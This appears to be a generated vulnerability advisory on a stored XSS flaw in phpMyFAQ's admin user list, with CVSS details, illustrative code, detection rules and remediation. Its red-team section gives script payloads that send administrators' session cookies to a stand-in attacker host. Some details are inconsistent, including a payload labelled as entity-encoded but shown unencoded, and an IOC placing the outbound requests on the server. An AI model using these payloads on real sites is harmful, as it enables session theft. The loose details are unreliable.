CVE-2025-68951
Executive Summary
CVE-2025-68951 is a stored cross-site scripting (XSS) vulnerability in phpMyFAQ versions 4.0.14 and 4.0.15. An attacker with the ability to register a user can inject arbitrary HTML entities into the display name field. When an administrator views the user list in the admin panel, the payload is decoded server-side and rendered without proper escaping, leading to script execution in the context of the administrator's browser. This can be used to steal session cookies, perform actions on behalf of the admin, or deface the admin interface. The vulnerability is patched in version 4.0.16.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
phpMyFAQ is a PHP-based application distributed as a standalone package. There is no NPM, PyPI, Go, or Ruby component involved. The vulnerability exists in the core application code, not in a third-party dependency.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): Low - The attacker needs to be able to register a user (or have a low-privilege account).
- User Interaction (UI): Required - The administrator must view the user list.
- Scope (S): Changed - The vulnerability impacts the admin's browser context, which is different from the attacker's.
- Confidentiality (C): Low - Limited data exposure (e.g., session tokens).
- Integrity (I): Low - Limited ability to modify data (e.g., perform admin actions).
- Availability (A): None - No impact on availability.
Deep Dive & Mechanics
The vulnerability lies in the user registration and admin user list display functionality. When a user registers, the display name is stored in the database. The application does not properly sanitize or escape HTML entities in the display name field. When an administrator views the user list, the stored display name is retrieved and decoded server-side (e.g., HTML entity decoding) before being rendered in the HTML page without escaping. This allows an attacker to inject arbitrary JavaScript code.
Attack Flow:
- Attacker registers a new user with a display name containing a malicious payload, such as
<script>alert('XSS')</script>. - The payload is stored in the database as HTML entities.
- Administrator navigates to the admin user list.
- The application retrieves the display name and decodes the HTML entities server-side, resulting in
<script>alert('XSS')</script>. - The decoded payload is rendered in the admin's browser without escaping, executing the script.
Vulnerable vs. Patched Code
Vulnerable Code (phpMyFAQ 4.0.14/4.0.15):
// In admin/user.php or similar file
$displayName = html_entity_decode($user['display_name']); // Decodes HTML entities
echo "<td>" . $displayName . "</td>"; // Outputs without escaping
Patched Code (phpMyFAQ 4.0.16):
// In admin/user.php or similar file
$displayName = htmlspecialchars($user['display_name'], ENT_QUOTES, 'UTF-8'); // Escapes HTML entities
echo "<td>" . $displayName . "</td>"; // Outputs safely
The patch replaces html_entity_decode() with htmlspecialchars(), which escapes HTML special characters instead of decoding them, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of phpMyFAQ 4.0.14 or 4.0.15.
- Ability to register a new user (if registration is open) or have a low-privilege account.
Exploit Steps:
- Register a new user with the following display name:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an administrator to view the user list.
- The script executes in the admin's browser, sending the session cookie to the attacker's server.
Example Payload:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
Encoded as HTML entities:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
Blue Team
Detection:
- Monitor for unusual user registrations with display names containing HTML entities (e.g.,
<,>,&). - Check web server logs for requests to
/admin/user.phpor similar admin pages. - Use the detection rules provided below.
Mitigation:
- Immediately upgrade to phpMyFAQ 4.0.16.
- If upgrade is not possible, apply a WAF rule to block requests containing HTML entities in the display name field.
- Restrict user registration to trusted users only.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests from the phpMyFAQ server to unknown domains (e.g., attacker-controlled server).
- Suspicious
GETorPOSTrequests to/admin/user.phpwith encoded payloads.
- File System:
- Modified user entries in the database with display names containing HTML entities.
- Logs:
- Web server logs showing requests with
display_nameparameter containing<script>or similar patterns.
- Web server logs showing requests with
Detection Engineering
YARA Rule
rule phpmyfaq_stored_xss_cve_2025_68951 {
meta:
description = "Detects stored XSS payloads in phpMyFAQ display names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68951"
strings:
$payload1 = /<script>.*<\/script>/ nocase
$payload2 = /<img.*onerror.*>/ nocase
$payload3 = /<svg.*onload.*>/ nocase
condition:
any of them
}
Sigma Rule
title: Stored XSS in phpMyFAQ Admin User List
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS exploitation in phpMyFAQ admin user list
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri: '/admin/user.php'
cs-uri-query:
- '*<script>*'
- '*<img*'
- '*<svg*'
condition: selection
falsepositives:
- Legitimate use of HTML entities in display names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68951 phpMyFAQ Stored XSS Attempt"; flow:to_server; content:"/admin/user.php"; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update phpMyFAQ to version 4.0.16 or later immediately.
- WAF Rules: Deploy web application firewall rules to block requests containing HTML entities in the
display_nameparameter. - User Registration: Disable public user registration if not required, or implement CAPTCHA and manual approval.
Long-Term Measures:
- Input Validation: Implement strict input validation and output encoding for all user-supplied data.
- Security Audits: Conduct regular security audits and code reviews.
- Monitoring: Set up monitoring for unusual user registrations and admin page access.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For further assistance, contact us at valters@example.com.